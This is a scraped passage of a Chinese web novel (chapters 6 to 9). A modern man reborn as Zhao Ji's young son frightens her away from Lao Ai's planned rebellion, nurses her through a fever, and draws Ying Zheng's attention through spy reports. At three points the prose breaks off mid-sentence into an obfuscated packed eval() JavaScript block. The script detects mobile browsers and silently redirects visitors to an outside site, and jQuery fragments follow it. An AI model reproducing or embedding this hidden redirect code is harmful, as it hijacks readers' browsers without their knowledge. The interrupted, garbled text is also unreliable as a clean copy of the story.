当秦汉唐引导着赵姬说出她心中的真实想法后,他忍不住痛苦地抚额。 果然如此!他就知道! 赵姬把造反夺权想得太简单了,她完全不明白权利的来源和结构究竟是什么样的。 这时候,秦汉唐不免想起了他遇到过的一些思想淳朴的乡亲们。 在这些人质朴的观念中,皇帝就是古代的老大,皇帝说的话,底下的人就得听。他们不能理解,皇权为什么还需要巩固,世家为什么敢跟皇帝对着干。 他们的生活距离王公贵族太过遥远,他们不理解这些复杂的东西,对权力斗争也没有什么兴趣。比起权谋争斗,他们更愿意看一些王公贵族们的狗血八卦,这让他们觉得新鲜有趣儿。 秦汉唐觉得,赵姬对权势的理解,跟后世一些升斗小民差不了多少。 不过,不理解这些弯弯绕绕的东西,对于普通百姓来说没什么妨碍,对于赵姬这个想要造反的太后来说,却是致命的。 她都不了解权势,又怎么可能掌握权势呢? 如果赵姬不是秦王的生母,如果她不能调动雍城的军队,她与嫪毐的造反行动,大概也只是一场闹剧罢了。 秦汉唐深吸了口气,握住了赵姬的手:“阿母,听说造反失败的人,有人被车裂,有人被扔进锅里煮了,有人被活埋,有人被腰斩……你觉得,兄长会怎么对我们呢?” “我不想被五马分尸啊!我也不想被扔进锅里活煮,感觉好可怕!” 说到这里,秦汉唐打了个寒颤:“活埋也很难受啊,那种呼吸不到新鲜空气,慢慢被憋死的感觉,真的好痛苦!还有腰斩,听说会被行刑官从腰部砍成两半,砍了之后一时半会儿还死不了,要亲自感受着鲜血和肠子从自己的身体里流出去,说不定还会有野狗盯着我,就等着来吃我的尸体……” “别说了!住嘴!住嘴!”赵姬的嗓音变得高亢尖锐。 她说话向来温温柔柔的,可这会儿她简直歇斯底里了起来。 赵姬将秦汉唐小小的身子狠狠箍在了自己的怀中,仿佛唯有这么做,她才能将脑海中浮现出的血淋淋的画面驱走。 还活着,她的儿子还活着!没有遭遇那样可怕的事! 回过神来的赵姬,大口大口地喘着粗气,却依旧紧紧地抱着自己的儿子,不肯撒手。 秦汉唐努力地在赵姬怀中将自己的脸侧了过来,只见他一张小脸憋得通红,整个人像是快断气了一样。 “咳,咳咳!阿母!我快、不能……呼吸……了!” 秦汉唐本来只是想吓唬吓唬赵姬,他万万没有料到,他居然会搬起石头砸了自己的脚,差点儿被他家亲娘给憋死! 赵姬赶紧手忙脚乱地松开了秦汉唐。 秦汉唐缺氧,身上一点儿力气都没有,赵姬一松开他,他直直往地上栽去,然后又被赵姬一把扶住。 “阿大,你没事吧?你不要吓阿母啊!” 赵姬小心翼翼地搀扶着秦汉唐,不敢有任何多余的动作。 “阿母,让我坐在你的榻上歇会儿,脚软,没力气……” “哦,哦!” 赵姬下意识地想要去抱秦汉唐,当她的手伸过来的时候,秦汉唐的小身子却颤了颤。 赵姬见状,眼中闪过了一丝忧伤。她想了想,蹲在了秦汉唐的面前:“上来吧,阿母背你过去。” 秦汉唐看着赵姬有些纤细的脊背,狐疑地道:“阿母背得动我吗?我可不轻呢!” “别小瞧你阿母啊!当初,阿母与你兄长逃命的时候,就是找个背篓,把你兄长放在里头背着他跑!”赵姬让秦汉唐趴在自己的背上,托住他的两条腿,刚要起身,俩人就一起摔倒了地上。 刚刚跟儿子吹完牛的赵姬:“……” 秦汉唐:“……”他就不该轻易相信赵姬的鬼话! 赵姬:“许久没有背过人了,我这副身子现在是愈发金贵了。阿大,你怎么样,有没有摔疼?” 秦汉唐:“……疼,不过阿母这宫殿里头铺着毯子呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822940|158498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,摔不坏我。我在地上坐坐再起来吧。” 又过了一阵儿,秦汉唐才终于觉得自己缓过来了,身上也有了力气。 他在赵姬的搀扶下,坐在了赵姬的床头。 赵姬看着自家儿子蔫蔫的小脸,心疼地伸手抚了上去:“都是阿母的错,阿母让你受苦了!” “受点皮外伤倒没什么,就怕回头阿父事败,秦王兄长让我把那些酷刑全部尝一遍。” 秦汉唐苦着脸道:“阿母,我跟你缘浅,只能陪你到这儿了。等到秦王兄长要杀我和弟弟的时候,你能不能跟他说说,让他给我们一个痛快,不要折磨我们啊?我怕疼,不想被折磨致死!阿小也还小,受不了那些刑罚。” “至于我死后,他是想将我挫骨扬灰,还是把我的尸首拿去喂狗,都随他高兴!反正那会儿我都死透了,又感受不到这些,他要是想出口气,你千万不要因此而与他发生争执!” 方才的一连串闹剧让赵姬暂时遗忘了儿子的话语带来的冲击。 这会儿,她听着自家儿子一本正经地交代着身后事,那种毛骨悚然的感觉又冒了出来。 赵姬蹙眉握住了自家儿子的肩膀:“阿大,你究竟是怎么知道这些事的?” 她安排在儿子身边的宫人应该没胆子跟儿子讲述这些事,那儿子又是怎么做到仿佛亲身经历过这些血腥的场面呢? 赵姬不知道,后世的影视剧中,什么样的刑罚没有出现过? 几分真实,加上几分的想象和夸大,足以塑造出一个个恐怖故事了。 秦汉唐这还算是水平低的,要是让那些经常看刑讯片的人过来,那些人保准讲述得比他的版本更加可怕。 “是我做梦梦到的。”秦汉唐小小的身子剧烈颤动着:“我梦到阿父失败之后,我们都饱受折磨地死去……阿母,我怕!既然你们不肯放弃造反,要不然,在你们动手之前,先送我和阿小上路吧!这样我们还能少受一些罪!” “别说了!你和阿小谁都不会有事的!阿母会保护你们的!” 她筹谋了这么些天,挣扎了这么些天,不惜与长子决裂,就是为了保护她的丈夫和两个幼子。 结果到头来,她谁都没能护住吗? 赵姬今日受到的刺激过大,神色也变得有些恍惚。 她并不怀疑儿子的话,除了做梦之外,也确实没办法解释他为什么会知道这些他本不该知道的东西了。 可正因为儿子做了这个梦,现在,她也开始害怕起来。 她害怕这个梦是上苍降下的示警,她怕梦中的一切都会变成真实。她究竟该怎么做,才能保护她想保护的人? 秦汉唐看着赵姬仓惶的样子,心中生出了些许内疚感。 嫪毐在利用赵姬的感情,他又何尝不是在利用赵姬的感情? 甭管赵姬有多对不起嬴政,至少赵姬对他们兄弟俩那是没话说。 可惜,他别无选择。 他想要活命,只能利用赵姬。 “造反是一定会失败的!到了那时,除了阿母之外,我们谁都活不了!” 秦汉唐恳切地对赵姬道:“阿母,收手吧!现在收手还来得及!只要你还没有实际的谋逆之举,就算是秦王兄长也不能对你怎么样!你好好的,我们才会好好的!你要是被剥夺了权柄,还有谁能够保护我们呢?到了那时,我们还真不如直接抹脖子算了!” 7.第 7 章 赵姬在儿子一叠声地催促下,心乱如麻。 “你让我好好想想,你让我再好好想想……” 她知道,自己并不是什么聪明人。在做某些重大的决定时,她更愿意让她的男人来。 可偏偏,她男人与儿子的观念背道而驰,她只能选择一边。 若是在这场交谈之前,赵姬肯定会听嫪毐的,但儿子对她说的一番话,以及那个可怕的梦,让她的内心动摇了起来。 她绝对无法眼睁睁看着她视若珍宝的儿子们沦落到那样的地步。 “造反一定会失败”,就像一个魔咒一样笼罩在赵姬的上方,让赵姬的内心受到了前所未有的煎熬。 她和嫪毐的计划,真的要继续进行下去吗? 嫪毐造反的决心非常坚定,并且他已经为此付出了诸多努力。即使她出言相劝,他也未必会听吧?毕竟,他们之间的相处模式从来都是小事她做主,大事他做主。 秦汉唐的话与嫪毐的话交织在一起,听起来似乎各有各的道理,让赵姬头疼无比。 秦汉唐见状,没有逼迫赵姬当场给出回答。 他知道,这不可能做到。他要的,只是动摇赵姬造反的决心罢了。 现在距离正式行动,还有几个月的时间,他可以每日在赵姬身边说些什么,或者做些什么,一点一点瓦解赵姬的意志。 “阿母好好考虑一下吧,我先回去了。” 以往秦汉唐离开赵姬的寝殿回偏殿时,赵姬总是会给他捎上一些点心,或者是她为他缝制的小衣裳和小玩具。 她会亲自将秦汉唐送到门口,直到儿子的身影彻底消失了,她再返回寝殿中。 然而这次,秦汉唐离开的时候,赵姬却坐在窗边,一副失魂落魄的样子,仿佛没有听见秦汉唐的话。 秦汉唐见状,再次叹了口气。如果可以,他也不愿意将赵姬逼迫到这个份儿上,可时间不等人啊! 要是他不能及时阻止嫪毐和赵姬的谋反计划,几个月后他就要没命了! 别人高考生在最后冲刺阶段会记录高考倒计时,到了他这儿记录的就是生命倒计时了。他能怎么办呢? 别看他整天嘻嘻哈哈的,他心中的焦虑,压根儿没处说去。 这天晚上,秦汉唐失眠了。 心中存着太重的心事,是很容易睡不好觉的。 尽管他已经困得不行,但他仍然跟砧板上的鱼一样,在自己的床上摆来摆去。 既然睡不着,那就想点正事儿吧。 秦汉唐将手枕在了脑后,望向了棂条窗外星星点点的灯火。 白日的雍城王宫人来人往,夜间的雍城亦是灯火通明,也不知,这样繁华的景象还能持续到什么时候。等到赵姬失权,只怕这雍城王宫又会冷清下来吧? 秦汉唐盯着这夜空看了半晌,还是觉得他不能把求生的希望寄托在别人身上,他需要再做些什么。 要是赵姬能被他说动,退出造反计划,那当然最好。万一赵姬最后还是被嫪毐牵着鼻子走,不肯听他的话,他也不能就此坐以待毙。 逃!往六国的方向逃,或者往草原的方向逃!逃到一处嬴政的势力暂时无法企及的地方! 这个念头骤然浮现在秦汉唐的脑海中,他开始认真地思考起逃跑的可行性来。 始皇帝攻灭六国之后,许多六国贵族还能逃过秦军的追捕,他们的经历,也让秦汉唐有了一些参考。秦汉唐觉得,他要是提前规划好逃跑路线以及隐居地,行动的时候小心些,也不是没有希望躲过这一劫。 韩国是肯定不能去的。嬴政管韩王要韩非,韩王二话不说就把韩非送到了秦国,这还是韩国自己的公子呢,都被直接卖了。 秦汉唐觉得,他要是选择韩国作为落脚点,搞不好他就要被秦国和韩国同时通缉了。 齐国也可以排除。齐国这些年把秦国当大哥伺候着,秦国攻灭其他国家的时候,齐王还要派人给秦王献礼恭贺呢。秦汉唐要是跑去齐国,那就是羊入虎口。 再说秦齐并不接壤,中间还隔着其他国家。 赵国倒是可以考虑一下。不过,一想到现在新上任的这个赵王十分宠信奸臣郭开,秦汉唐就觉得,去赵国也不保险。 郭开可是秦国灭赵第一功臣,郭开跟赵王简直是一对卧龙凤雏。 秦汉唐可不想拿自己的安危开玩笑。 剩下的,就只有魏国、楚国和燕国了。 秦汉唐本人更倾向于楚国。 楚国疆域辽阔,水网密集,地势复杂。秦汉唐找个人烟稀少的地方一躲,其他人还真不好找他。 再说,楚国有许多船只,实在不行,秦汉唐还可以乘船出海,又或者是沿着楚国已经打通的商路进入其他国家。 秦汉唐正浮想联翩,越想越激动,恨不得立刻爬起来制定一个完善的跑路计划。但很快,他就意识到,这么做是行不通的。 他才四岁,他迄今为止在秦国还是黑户,他连怎么离开秦国,都是个问题。 当年,负责制定秦法的商鞅逃到边关,还因为拿不出照身贴连客旅都住不上。他想逃出国,却出不去,最终只能回到了自己的封地,兵败而死。 那时候,商鞅已经在秦国掌权多年,有封地有兵,就这样他都没能顺利逃出秦国。 秦汉唐看看人家,再想想自己,他还真不觉得自己能比商鞅更强。 秦汉唐唯一比商鞅强的一点,是秦王政并不重视他,不会专门派大量士兵来围堵他。秦王政的轻视,给了秦汉唐很多操作空间。 现在,秦王政的注意力被赵姬和嫪毐吸引着,要是他能赶在嫪毐造反之前离开秦国,说不准还真能成功。 可这根本不现实。 秦汉唐首先要解决“身份证”的问题,单单这一条,就不是他一个无权无势的稚子能够搞定的。 其次,他总不可能靠着双腿走出秦国吧?那他不得搞一辆车来?有了车,还需要有驾车的人,他上哪儿去找车和驾车人呐? 除非薅赵姬的羊毛,那还差不多。 秦汉唐叹了口气,觉得理想很丰满,现实很骨感。 不过,自怨自艾不是他的风格,他的小脑瓜子很快又转了起来。 “今日我那番话,把阿母吓得够呛。即使阿母最终还是不听我的,我那番话肯定也给她留下了一些心理阴影。到时候,我想办法劝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14833432|158498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说阿母将我和便宜弟弟送走吧。” 这夜,秦汉唐的心理活动相当活跃。他睁着一双眼,不知熬到了什么时候,才终于沉沉睡去。 这一觉,美美地睡到了日上三竿之时。 秦汉唐一边打着呵欠一边想,赵姬早上居然没派人来找他,还真是奇怪。 侍奉在秦汉唐身边的白芷一面上前为秦汉唐洗漱更衣,一面道:“小主子,太后病了。” “刚才太后身边的人来报,昨日,太后忧思过重,又坐在窗边吹了冷风,今日一早起来,便发起了高热。这会儿,太后已经烧得人事不省了。” 秦汉唐闻言,差点把拿来漱口的盐水吞下去。 “咳、咳咳、咳咳咳咳!” 他缓了许久,才终于缓过劲儿来。 “这么重要的事,你怎么不早点告诉我?!” “可是,小主子您一直在睡觉,奴婢也不好打扰沉睡中的您啊。” “你可以把我摇醒啊!我是不会怪罪你的!” 秦汉唐以最快的速度将自己收拾好,带着白芷等人就出了门。 等他赶到赵姬寝殿的时候,在殿内闻到了一股子药味儿。想要是已经有大夫来给赵姬看过了,并开了一些药。 他刚准备进去,就被赵姬身边的春枝拦住了。 “小主子,太后吩咐过让您不要进去,免得过了病气给您。” “让开!阿母生病,你要让我这个做儿子的在外面干等着吗?” 秦汉唐的嘴唇几乎抿成了一条直线:“阿母爱护我,我更应该关心她,让我进去!” 他虽然不懂得医术,却也知道一些降温的方法。他在里面,说不准还能帮上一些忙。 平日里,秦汉唐看起来很随和。除了比寻常孩子聪慧稳重些,他与其他孩子没有太大差别。 可今日的秦汉唐眉眼赤红、态度强硬,春枝几乎要认不出他了。 想来,这也是小主子担心太后,才会如此失态吧? “放我进去。阿母如今昏睡着,这里就属我最大。你这是要违背我的命令吗?” “不敢……可太后……” “阿母那里,自有我去说!必不让你们挨罚就是了!” 秦汉唐这么一说,春枝才终于松了口气。 虽然小主子年龄还这般小,但不知为何,他说的话,春枝还是很愿意相信的。 当秦汉唐走近赵姬的病榻时,赵姬正满面潮红地躺在床上,双目紧闭,神色萎靡。 秦汉唐一见到这样的赵姬,就不由涌出了一股酸楚之情。 若不是他昨日那样吓唬赵姬,想必赵姬现在也不至于病得昏昏沉沉、人事不省。 赵姬本就心理素质不好,他劝说赵姬的时候,应该考虑一下她的承受能力,慢慢儿来。 秦汉唐本以为,赵姬对他而言,只是一道保命符。 可现在,他看到赵姬都病成这样了,还在惦记着不要让他过了病气,他这心里头,就像压了块大石头一样,闷得他透不过气来。 “阿母!阿母!” 秦汉唐一边凑到赵姬的床边轻声呼唤着,一边拿手去试探赵姬额头的温度。 8.第 8 章 赵姬听到他的呼唤声,只掀起眼帘看了他一眼,便又沉沉睡去。 这简简单单的一个动作,就耗尽了她全身的力气。 秦汉唐伸手探了探赵姬的额,发现她额头上的温度烫得惊人。这样下去不行,要是持续高热不退,只怕人都要烧傻了。 “去给我取一盆冰水来,再为我取一盆温水来……”秦汉唐看了看春枝身上的薄衫,摇了摇头:“算了,你去取温水吧,冰水我亲自去取。” 温水是灶上一直备着的,取用倒是不难,比较麻烦的是冰水。 这个天,想要用冰,就只有往冰窖中走一趟了。 春枝虽然不明就里,但隐约猜到这是为了赵姬。 “怎么能让小主子去冰窖呢?还是奴婢去取吧!小主子是先要冰水,还是先要温水?” “分头取快一些,你身上春衫薄,还是我去取吧,我穿得比较厚实。” 赵姬宫中伺候的人手并不少,按理说,秦汉唐完全可以另外指派一个侍女去取冰。可这会儿他心里头堵得慌,只想让自己忙碌起来,好减轻心中的愧疚感。 若不是他昨日与赵姬说了那样一番话,赵姬未必会生这么一场病。 秦汉唐的种种异样举动,春枝都看在眼中。只是,她什么都没有说,默默地将这些记在了心中。 昨日,赵姬早早将下人们屏退,与嫪毐、小主子三个人在殿内密谈了很久,当时是春枝负责守的门。 春枝不知道他们说了些什么,却能看出,嫪毐在离开的时候,脸色有些阴沉。 嫪毐离开之后,赵姬与小主子又在殿内单独待了一阵子。等到小主子也离开的时候,赵姬便仿佛失了神一样,在风口坐了许久。 春枝从未在赵姬脸上看到过那样仓惶的神色,她也曾试向赵姬打探实情,赵姬却摇摇头,什么都没有说。 即便如此,春枝依旧能够猜到,必定是嫪毐或者小主子对赵姬说了什么,这才让赵姬心神大乱。那么,这个人究竟是嫪毐,还是小主子呢? 春枝比较倾向于嫪毐。小主子才多大?他能说出什么惊人之语? 多半是嫪毐那贼人又对太后说了些什么,惹得太后伤了心,然后小主子才留下来安慰太后的。 只是这会儿,春枝看着秦汉唐带着愧疚的神色,以及他的种种行为,忽然有些不确定了。 …… 热水被春枝一路端着回到赵姬的寝殿,温了大半,恰好这会儿秦汉唐也回来了。 不知他从哪里寻了个木桶,装了半桶冰回来。他放下木桶之后,一边搓着手,一边将双手凑到嘴前,不住地往手心中哈着热气。 “小主子,奴婢这里有温水。要不,您拿着温水泡泡手吧?” 说着,春枝将那装了温水的铜盆递到了秦汉唐的面前。 秦汉唐看了那铜盆一眼,摇摇头:“这盆温水是拿来给阿母擦身子用的,我怎么能用来泡手呢?东西既然取来了,咱们还是尽快给阿娘降温要紧。” 说着,他取了块干净的毛巾,包了一些碎冰进去,制作了一个简易的冰袋,放在了赵姬滚烫的额头上。 在这过程中,徒手抓冰的他,双手被冻得通红。 好不容易给赵姬敷上了冰袋,秦汉唐又惦记着给赵姬擦拭身子,好让赵姬散散热。 他想,这是他该做的。他害得赵姬生了病,他就有义务让赵姬好起来! 像他这样自私自利、只会利用他人的人,是该受到惩罚的。 春枝看着秦汉唐一系列近乎自虐的举动,忍不住道:“小主子,够了!这些让奴婢来做吧,您在一旁歇息一下,喝些热汤暖暖身子!否则,只怕太后还没有好起来,您就要病倒了!” 这时,躺在床上的赵姬再次睁开了眼。 春枝仿佛终于找到了主心骨,对赵姬说道:“太后,您快说说小主子!小主子为了让您尽快退烧,又是去冰窖为您挖冰块,又是用温水给您擦身,一直忙活到现在也不肯歇一歇。他还这么小,这乍冷乍热的,他怎么受得住啊?” “咳、咳咳咳!”赵姬一开口,喉咙中就发出一串急促的咳嗽声。 她一时说不出话来,便攥住了秦汉唐的手,双眼死死地盯着秦汉唐。 秦汉唐让她盯得有些心虚:“阿母,你别生气了,我这就休息。” 哎,从前他怎么就没看出春枝这么嘴碎呢? 罢了,春枝终究是赵姬的人,不是他的人。春枝站在赵姬的角度上考虑问题,也是情理之中的事,他不该过分苛责春枝。 春枝将早已准备好的热汤递给秦汉唐,赵姬眼也不错地看着秦汉唐喝下了,这才稍稍松了口气。 当赵姬再次开口时,秦汉唐发现,她的声音变得沙哑无比。 “你要是……真想让我……好好养病,就不许……再让我担心!” 不算长的一句话,她说得吃力无比。 “还有,我记得,我明明……说过……不许你……进来,你是怎么……怎么进来的?” 赵姬看向了身旁的春枝。春枝慌乱之下,又向秦汉唐发出了求援信号。 秦汉唐赶忙道:“阿母生病了,我这个做儿子的怎么可以不在阿母身边侍奉呢?这要是传出去了,别人肯定要说我是不孝子啊!阿母,你可万万不能让我担上这个罪名!” 他这副卖乖讨巧的样子,让赵姬一乐。他的这份关切之意,也让赵姬十分受用。 “谁敢,说我儿,不孝子?” 确实没人敢,毕竟,外界可没多少人知道他的存在,秦汉唐在心中暗道。 “有些人嘴碎得很!连国君都敢编排,你说他们敢不敢编排我?阿母,让我留在你身边侍奉你吧!” 赵姬终于点了点头:“不许,累着!坐着,陪我,说话!” “好,阿母现在喉咙疼吗?”秦汉唐关切地问道。 “疼。”说着,赵姬就不由皱起了眉。她现在简直成了刀片桑,一说话就犯疼。 “梨子润喉,方才我让人为阿母炖了梨汤,现在应该好了,我去让人为阿母端上来?” 赵姬点了点头,既为儿子的贴心而欣慰,又感到有些疑惑:“你是怎么,知道的?” 在她看不到的地方,她天真活泼的次子似乎成长了不少。 无论是他对造反计划可行性的分析,还是他对那些酷刑的了解,都超出了他的年龄和阅历该有的水准。 如果说,阿大了解车裂、烹刑等酷刑,源于“上苍示警”,他能有理有据地对嫪毐的造反计划提出质疑,是他天生对权势具有敏锐性。 那么,生活中的许多小细节,他又是怎么注意到的呢? 她的阿大虽然比一般的孩童细致一些,但绝不至于细致到这种地步。 秦汉唐也看出了赵姬眼中浮现出来的疑惑,不过,他并不慌:“阿母忘记了吗?去年‘我’贪玩,在雪地中吹了太久的风,当晚就发起了热。那会儿,阿母是怎么小心翼翼照顾我的,我都记着呢!” “我烧得迷迷糊糊的时候,阿母让人为我熬了一盅梨汤,我也记着呢!那梨汤可好喝了,所以,这回阿母生病,我也想着让阿母也尝一尝儿子亲自奉上的梨汤!” 赵姬颤抖着手,将秦汉唐揽在了怀中,为自己刚才生出的怀疑感到羞愧。 她的儿子这般孝顺,这般关心她,她怎么可以怀疑他不是阿大呢? 去年阿大还小,自然懵懵懂懂的,一团孩子气。今年,阿大开了慧,她自然不能再用过去的眼光来看待阿大。 很快,梨汤被人端了上来。 秦汉唐拿勺子舀着,一点点喂赵姬喝了。 赵姬则始终眉眼含笑,看向秦汉唐的目光既温柔又愧疚。 她的目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841732|158498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,让秦汉唐垂下了眼睛。 多可笑,明明他才是偷了别人身子的小偷,明明他才是一直利用她的那个人,可现在,却是她在用愧疚的目光看着他。 待秦汉唐喂完了这盅梨汤,赵姬就开始撵人。 “你快回去……休息吧,我这里……用不着你了,你明日……再过来……看我。” 秦汉唐心知,赵姬这是关心他,才故意这样说。 他也没有戳破赵姬这显而易见的心思,只是顺着赵姬的口风道:“明日我再琢磨一些滋补的吃食,让小厨房做了给阿母送来。” “说得好像……你娘……就知道吃……一样!”赵姬斜睨了他一眼:“你昨日……提到的事……” 她才起了个话头,就被秦汉唐制止了。秦汉唐看了春枝一眼,示意赵姬还有外人在。 “阿母说的是哪件事啊?我都不记得了,我只记得,昨日我与阿母说了好多好多的事!阿母生病了就不要想太多,还是静心养病吧,等到阿母康复了,阿母想与我说什么,我都乖乖听着!” “你不用……这么小心。春枝……对我……向来……忠心,她对你的……关心,绝不是……能够……伪装……出来的,我……信得过……她……” 赵姬道:“昨日的事……等我、等我思考好……我会给你……答案……” 秦汉唐看了看赵姬,又看了看侍立在一旁的春枝,终于点点头:“那我就等着阿母的答案了。” 他与春枝相处不多,对春枝其实不大了解。原身留给他的记忆中,与赵姬和弟弟有关的画面最多。至于春枝等侍女,只是个模糊的背景板。 既然赵姬选择相信春枝,那么,他也只能跟着相信了。 赵姬与秦汉唐没有注意到,春枝听到赵姬那句“我信得过她”,眼睫颤了颤。 秦汉唐离开后,春枝向赵姬请示道:“您生病之事,要告诉长信侯吗?要告诉秦王吗?” 以往赵姬身上若有不适,定会第一时间派人告知嫪毐,享受嫪毐的关怀。但这次,她却摇了摇头。 “不,不必告诉长信侯,也不必告知秦王……” 若是嫪毐知道赵姬病了,肯定会打探赵姬的病因。赵姬还没考虑好要不要继续进行那个计划,她暂时不想见嫪毐…… 至于嬴政……这个儿子,更是她现在不想见,也不能见的存在。 赵姬未曾料到,当晚就有一封密信,被呈上了秦王的案头。 秦王政看完这封密信,俊美的面容上毫无波澜。 当他得知亲生母亲打算跟她的情夫一起造反之后,就没有消息能够再震撼到他了。 不过是生母病了,并打算瞒着他罢了,有什么大不了的?他们母子,在很久之前就已经离心了。 “陛下,您这是身子不适吗?可需要臣为您看看?” 嬴政看着近在咫尺的侍医夏无且,这才恍然惊觉,他得知赵姬生病,竟然下意识地想要指派一个医术高超的大夫去为她治病。 他作为秦王,身边随时有侍医捧着药囊待命。 多数时候,侍医就是沉默的背景板,只有遇到秦王身子不适的时候,这些侍医才能派上用场。 “无事。”嬴政铁青着脸回到自己的桌案前,觉得习惯真是一个可怕的东西。 他已经习惯护着赵姬了,可现在,赵姬早已不再需要他的保护。 嬴政又将那封密信从头到尾看了一遍,这才从一堆信息中捕捉到了跟他私生子弟弟有关的信息。 书信中说,是那个私生子跟赵姬说了什么,才导致赵姬忧思过重病倒。 书信中还说,那个私生子弟弟与嫪毐疑似不睦。 以往,嬴政虽然知道那两个私生子的存在,却一直不愿提起他们,直接当他们不存在。 这回,赵姬的私生子首次正式出现在了呈给他的奏报中。 9.第 9 章 “寡人记得,他才四岁吧?”嬴政的声音自大案后传来。 他这问题问得没头没脑的,负责与雍城那边联络的密探却瞬间反应了过来。 “回陛下,大的那个今年刚过了四岁生辰。” 密探不知道该怎么称呼秦王的私生子弟弟,只好含糊其辞。 “想不到,那孩子瞧着竟有些不简单。”嬴政道:“将与他有关的事统统汇报给寡人!” “是!” 密探这些年一直负责雍城王宫的盯梢,他从阿大出生开始说起。 阿大出生的那一年,恰好是秦王继位的第三个年头。 他一直都是一个普普通通的小孩子,每日吃饱睡,睡饱了起来开始惦记着吃喝玩耍。 他做过的最出格的一件事,就是在雍城王宫中玩捉迷藏,结果把自己给弄丢了。那日,赵太后急得封锁了各宫宫门,找了他整整一宿。 若要说他有什么不同寻常之处,约莫就是太后赵姬指着他说,等造反成功,就让他做新秦王这件事。 秦王政听到这里,已经捏紧了手中的奏疏,满脸铁青。 尽管他已经知道,他在亲娘心中的地位比不得两个私生子弟弟,可将这个事实再度摆在他的面前,还是让他愤怒且难堪。 探子看着秦王政仿佛要杀人一般的眼神,语速渐渐慢了下来。 秦王政将奏疏随手扔在案上,收敛起自己的怒容:“继续说。” 这会儿,探子已经感受不到他的情绪了。只是,秦王政一双眸子幽深黑沉,嘴唇紧紧抿成一条直线,可见他心中挤压的怒意一点儿都不曾减少。 “是,太后在说完这番话后,‘那位’并不愿意,还说秦王是您,他不做秦王。这番话,惹恼了长信侯,长信侯险些要动手打他,让太后给拦下来了。” 秦王政有些诧异:“他竟然知道寡人的存在么?” 探子小心翼翼地道:“平日里没有人主动跟‘那位’提起您。但‘那位’颇有几分聪明劲儿,想来他是从周围人的言语中,明白了您与他的关系。” 秦王政的目光变得有些复杂:“他是嫪毐的儿子,他竟向着寡人?” 这个年龄的孩子,一般不都是向着父母的么?尤其是,那孩子与嬴政这个同母异父的兄长甚至不曾见过面。 “是,那位似乎是从周围人的口中听说了您攻城略地的事迹,对您颇为推崇。他在雍城王宫中,打探了许多与您有关的事,还嫌不够,又去询问太后……那几日,太后经常红肿着眼。” 嬴政听闻此言,不知该高兴,还是该讽刺。 他还当他那个阿母是真的半点儿都不在乎他了呢。原来,她竟还是在乎他的吗? 赵姬在乎他这个儿子,却又没那么在乎他。 往后,他在她心中是什么地位,她在他心中就是什么地位,这很公平。 “长信侯在知道了‘那位’对您的推崇之后,十分生气。他似乎私底下教训了那位一顿,这些日子,‘那位’见了他,都是绕路走的。” “嫪毐这废物,也只会做这些欺软怕硬的事了!”嬴政声音中是森然寒意。 嫪毐私底下与人逞凶斗勇,斗不过别人,便搬出秦王的名号来,说他是秦王的假父。与嫪毐相争之人一状告到嬴政跟前来,嬴政见此事闹得不像话,这才敲打了嫪毐几日。 哪知,嫪毐不想着反思自身,反而怀恨在心,教唆太后赵姬与他一道造反。从那时起,嬴政才真正对嫪毐起了杀心。 嬴政原本只当嫪毐是个哄母亲开心的玩意儿,并不如何将他放在心上。然而,一个不查,他竟让这玩意儿一刀捅在了心窝子上。 这个卑劣的男人给予他的耻辱,实在让他刻骨铭心! 对于赵姬和嫪毐的儿子,嬴政原本有些恨屋及乌。可这会儿,他听说嫪毐的大儿子在他手底下日子也不好过,他对那孩子的厌恶不由淡了几分。 说到底,他与那两个同母异父的兄弟之间原本并没有什么仇怨。这种由他人引起的爱和恨,都是很容易发生变化的。 密探低垂着头:“这之后的事,您就知道了。‘那位’不知与太后说了什么,惹得太后心绪不宁,大病一场。” 嬴政也知道,他派去雍城王宫的探子将重点都放在嫪毐和赵姬的身上,对于他的两个私生子弟弟缺乏关注。他倒也没有责怪手底下的这些人,只是叮嘱道:“日后,与那孩子有关之事也要仔细打探,及时汇报给寡人。” “是。” “你们既然没有打探到他们究竟说了什么,如何能确定是他惹得太后病了,而不是嫪毐?” 这会儿,嬴政恨不得把所有不好的东西都算在嫪毐身上。 “太后生病了,那位去照顾太后时,看上去颇为愧疚。他离开之时,太后又特意跟他说,她会好好思考他的话……” 嬴政见探听不到更多的消息了,便挥了挥手,命探子下去。 他贵为秦王,一时之间,却不知自己该用什么样的态度来对待那两个同母异父的弟弟。 那是他血缘上的亲人,他亲缘浅薄,原本并不在意多出两个弟弟来。可也正是为着这两个小东西,他的亲娘想要他的命…… 嬴政在原地呆坐良久,手背青筋直跳。 不知过了多久,他像没事人一样松开了紧握成拳的手,将一名使官唤了进来。 